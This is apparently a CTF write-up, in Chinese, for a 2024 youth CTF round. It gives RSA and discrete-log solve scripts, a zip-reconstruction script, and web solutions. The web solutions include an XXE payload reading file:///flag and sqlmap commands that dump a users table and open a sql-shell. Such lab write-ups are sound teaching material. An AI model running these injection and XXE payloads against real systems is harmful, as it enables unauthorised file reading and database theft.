青少年CTF擂台挑战赛 2024 #Round 1

crypto

1.解个方程

题目：

欢迎来到青少年CTF，领取你的题目，进行解答吧！这是一道数学题！！

p = 47435612565218266109508854832282268357

q = 300321076868253562295973190356379138721

e = 65537

d = ?

exp:

import gmpy2

from Crypto.Util.number import *

p = 47435612565218266109508854832282268357

q = 300321076868253562295973190356379138721

e = 65537

d = gmpy2.invert(e, (p-1)*(q-1))

print(d)

2.ez_log

题目：

from Crypto.Util.number import *

from random import *

flag=b'key{xxxxxxx}'

m=bytes_to_long(flag)

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037

g=3

c=pow(g,m,p)

print(f'c=',c)

c=2882033031204451955849300082116379606829191152734610157419570072957225093526981234595692223713537455654127040941350351944238816639478723000482769192782416313780850187709300746003417086970621

思路：

\[c = g^m mod\ p \\
m = \log_g (c) mod\ p
\]

就是求离散对数，利用sagemath

exp：

from Crypto.Util.number import *

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037

g=3

c=1831873445641580727997893867146191295604212045524195935219199754379512541658254733750842607901453328493945521595773121138417256336939745821434975562454729487613360719216700028456919353732386

m = discrete_log(c,mod(g,p))

print(long_to_bytes(m))

3.ezrsa

题目：

from Crypto.Util.number import *

flag = b'qsnctf{xxx-xxxx-xxxx-xxxx-xxxxxxxxx}'

m = bytes_to_long(flag)

p = getPrime(512)

q = getPrime(512)

r = getPrime(512)

n = p * q * r

leak = p * q

e = 0x10001

c = pow(m, e, n)

print(f'c = {c}')

print(f'n = {n}')

print(f'leak = {leak}')

# c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892

# n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247

# leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

思如：

题目中泄露了 p*q ，可以算出 r ，m 都没 r 大。利用 r, 去还原 m

exp:

from Crypto.Util.number import *

import gmpy2

c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892

n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247

leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

e = 0x10001

r = n // leak

d = gmpy2.invert(e, (r-1))

# print(d)

m = pow(c, d, r)

print(long_to_bytes(m))

4.factor1

题目：

import gmpy2

import hashlib

from Crypto.Util.number import *

p = getPrime(512)

q = getPrime(512)

d = getPrime(256)

e = gmpy2.invert(d, (p**2 - 1) * (q**2 - 1))

flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"

print(e)

print(p * q)

# 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859

# 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

思如：这里跟2023 NepCTF random_RSA 其中一个步骤解法一样，可以参考[2023 NepCTF | Van1sh的小屋 (jayxv.github.io)](https://jayxv.github.io/2023/08/14/2023 NepCTF/)

\[e
⋅
d
≡
1
(
mod
(
p
2
−
1
)
⋅
(
q
2
−
1
)
)
\]

1.先恢复d

exp:

def attack(N,e):

    convergents = continued_fraction(ZZ(e) / ZZ(int(N^2-9/4*N+1))).convergents()

    for c in convergents:

        k = c.numerator()

        d = c.denominator()

        if pow(pow(2, e, N), d, N) == 2:

            phi = (e * d - 1) // k #(p^2-1)*(q^2-1) = n^2+1-p^2-q^2

            return d

n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859

print(attack(n,e))

d = attack(n,e)

2.在根据n,e,d恢复p,q

exp:

import hashlib

import random

def gcd(a, b):

    if a < b:

        a, b = b, a

    while b != 0:

        temp = a % b

        a = b

        b = temp

    return a

def getpq(n, e, d):

    p = 1

    q = 1

    while p == 1 and q == 1:

        k = d * e - 1

        g = random.randint(0, n)

        while p == 1 and q == 1 and k % 2 == 0:

            k //= 2

            y = pow(g, k, n)

            if y != 1 and gcd(y - 1, n) > 1:

                p = gcd(y - 1, n)

                q = n // p

    return p, q

def main():

    n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

    e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859

    d = 63691166654760611586233830170653888570050734006064722630809918076234937115339

    p, q = getpq(n, e, d)

    flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"

    print(flag)

if __name__ == '__main__':

    main()

web

1.PHP的后门

2.EasyMD5

3.PHP的XXE

页面是一个phpinfo()的界面,f12没找到xxe入口

学习：BUUCTF-Real_buuctf xxe-CSDN博客

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///flag" >

]>

<root>

<name>&xxe;</name>

</root>

4.Easy_SQLi

考点：sql注入

工具：sqlmap

学习：https://blog.csdn.net/shuteer_xu/article/details/103966475

1.方法一：sqlmap一把梭

爆数据库

python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs

python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1"  --dbms mysql --current-db

-u 指定注入点地址

--data 指定要注入的参数

--dbs 爆破所以数据库

--dbms mysql 指定数据库类型为mysql

--current-db 爆破当前数据库

爆数据库qsnctf中的表

python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs -D qsnctf --tables

-D 指定数据库

--tables 爆破所有数据表

爆破字段

python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs -D qsnctf --tables -T users --columns

-T 指定数据表

--columns 爆破所有列

爆一下字段内容，看看有没有flag

python sqlmap.py -u http://challenge.qsnctf.com:30199/login.php --data="unam

e=1&psw=1" --dbs -D qsnctf --tables -T users --dump

--dump 爆出指定表的字段内容

方法二：sql-shell 数据库交互

学习：https://www.cnblogs.com/AikN/p/14696863.html

python sqlmap.py -u http://challenge.qsnctf.com:31802/login.php --data="unam

e=admin" --batch --sql-shell

--batch --sql-shell 获取注入点权限进入sql-shell模式

查询数据库

database();
查询表

select group_concat(table_name) from information_schema.tables where table_schema=database()；
爆列名

select column_name from information_schema.columns where table_schema=database() and table_name='users';
查看字段对应的内容

select id,username,password from users;

misc

1.CTFer Revenge

可以看到是一个压缩包文件的16进制的倒转文件

方法一：使用CyberChef，Reverse和From hexdump, 得到zip文件，在爆破密码 ,密码为z12345

方法二：编写python脚本，把每一行倒转，并且将中这部分16进制数据提取出来，生成zip文件

fs = open(r"E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\flag1.zip", 'wb')

with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\是什么呢（仔细观察）.txt', 'r') as f:

    lines = f.readlines()

# 对每一行进行倒序排列并写入新文件

with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output.txt', 'w') as file:

    for line in lines:

        reversed_line = line.strip()[::-1]  # 去除行尾的换行符，并对字符串进行倒序排列

        file.write(reversed_line + '\n')  # 将处理后的行写入新文件

# 从最后一行开始逐行倒序排列并写入新文件

with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output1.txt', 'w') as file:

    for i in range(len(lines)-1, -1, -1):  # 从最后一行开始逐行倒序排列

        reversed_line = lines[i].strip()[::-1]  # 去除行尾的换行符，并对字符串进行倒序排列

        file.write(reversed_line + '\n')  # 将处理后的行写入新文件

# 提取每一行中间的hex字符串

with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output1.txt', 'r') as f:

    lines = f.readlines()

    for line in lines:

        data = line.strip()[8:57]

        data = data.replace(' ', '')

        # print("".join(data.split()))

        fs.write(bytes.fromhex(data))

        print(data)